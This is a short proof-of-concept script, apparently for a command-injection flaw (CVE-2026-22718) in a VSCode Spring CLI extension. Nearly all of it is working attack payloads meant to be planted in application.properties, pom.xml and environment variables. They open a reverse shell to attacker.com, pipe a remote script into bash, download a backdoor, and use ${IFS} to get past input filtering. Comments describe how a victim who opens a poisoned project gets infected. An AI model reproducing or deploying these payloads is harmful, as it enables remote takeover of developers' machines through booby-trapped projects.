CVE-2026-22718 VSCode Spring CLI扩展命令注入漏洞

// CVE-2026-22718 PoC - VSCode Spring CLI Extension Command Injection // This PoC demonstrates the command injection vulnerability in VSCode Spring CLI extension // Malicious payload that can be injected into Spring project configuration files const maliciousPayload = { // Inject into application.properties 'application.properties': ` spring.config.location=;echo${IFS}compromised${IFS}>/tmp/pwned spring.datasource.url=jdbc:postgresql://;nc${IFS}-e${IFS}/bin/bash${IFS}attacker.com${IFS}4444 `, // Inject into pom.xml as malicious plugin configuration 'pom.xml': ` <plugin> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-maven-plugin</artifactId> <configuration> <executable>true</executable> <arguments>--server.port=$(curl${IFS}http://attacker.com/shell.sh|bash)</arguments> </configuration> </plugin> `, // Inject via environment variable manipulation 'envInjection': ` SPRING_CONFIG_ADDITIONAL_LOCATION=;wget${IFS}http://attacker.com/backdoor${IFS}-O${IFS}/tmp/backdoor ` }; // Attack scenario: // 1. Attacker creates a malicious Spring project or modifies existing project files // 2. Victim opens the project in VSCode with vulnerable Spring CLI extension // 3. Extension parses malicious configuration // 4. Commands are injected and executed via system shell console.log('CVE-2026-22718 Command Injection Payload Generated');